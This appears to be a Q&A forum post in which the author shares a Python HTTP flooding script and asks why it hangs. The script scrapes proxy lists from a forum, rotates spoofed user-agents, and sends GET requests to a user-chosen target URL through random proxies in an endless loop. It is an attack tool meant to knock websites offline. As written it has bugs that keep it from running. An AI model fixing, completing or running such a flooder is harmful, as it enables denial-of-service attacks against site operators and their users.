title: Problems building a flooding script that uses sockets
body: <p>I'm trying to improve 2 projects of flooders (not mine) making my own script that these 2 ones. Doing that, I've almost finished but I'm stuck in a point where the script does nothing.
  Here is the code:</p>
  
  <pre><code>import socket, threading, random, time, urllib.request, re, os.path
  from bs4 import BeautifulSoup
  
  useragents=["Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
              "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
              "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
              "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
              "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
              "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0",
              "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1",
              "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
              "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
              "Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
              "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
              "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1",]
  
  def checkurl():
      global url
      url = input("Insert URL: ")
      if url[0]+url[1]+url[2]+url[3] == "www.":
          url = "http://" + url
      elif url[0]+url[1]+url[2]+url[3] == "http":
          pass
      else:
          url = "http://" + url
  
  def threads():
      global thread
      try:
          thread = int(input("Thread (800): "))
      except:
          thread = 800
  
  def proxymode():
      global choise1
      choise1 = input("Do you want proxy mode? Answer 'y' to enable it: ")
      if choise1 == "y":
          choisedownproxy()
      else:
          exit(0)
  
  def choisedownproxy():
      choise2 = input("Do you want to download a fresh list of proxy? Answer 'y' to do it: ")
      print ("")
      if choise2 == "y":
          proxyget()
      else:
          proxylist()
  
  def proxyget():
      if os.path.isfile("proxy.txt"):
          out_file = open("proxy.txt","w")
          out_file.write("")
          out_file.close()
      else:
          pass
      url = "https://www.inforge.net/xi/forums/liste-proxy.1118/"
      soup = BeautifulSoup(urllib.request.urlopen(url), "lxml")
      base = "https://www.inforge.net/xi/"
      for tag in soup.find_all("a", {"class":"PreviewTooltip"}):
          links = tag.get("href")
          final = base + links
          result = urllib.request.urlopen(final)
          for line in result :
              ip = re.findall("(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3}):(?:[\d]{1,5})", str(line))
              if ip:
                  print("Proxy grabbed=&gt; "+'\n'.join(ip))
                  for x in ip:
                      out_file = open("proxy.txt","a")
                      while True:
                          out_file.write(x+"\n")
                          out_file.close()
                          break
      proxylist()
  
  def proxylist():
      global proxy
      global entries
      out_file = str(input("Enter the proxy list: "))
      entries = open(out_file).readlines()
      proxy = random.choice(entries).strip().split(':')
      requestproxy()
  
  def requestproxy():
      global proxy
      host = proxy[0]
      port = proxy[1]
      host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
      get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
      useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
      accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate"
      connection = "Connection: Keep-Alive\r\n"
      request = get_host + useragent + accept + connection + "\r\n"
      while True:
          try:
              s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              s.connect((host, port))
              s.send(request)
          except:
              proxy = random.choice(entries).strip().split(':')
  
  checkurl()
  threads()
  proxymode()
  </code></pre>
  
  <p>As you can see, this script uses a list of proxies to send request (using socket library) to target. But when I arrive at "Enter the proxy list" and after typed "proxy.txt", the script gets stuck! What did I do wrong? Can you help me?</p>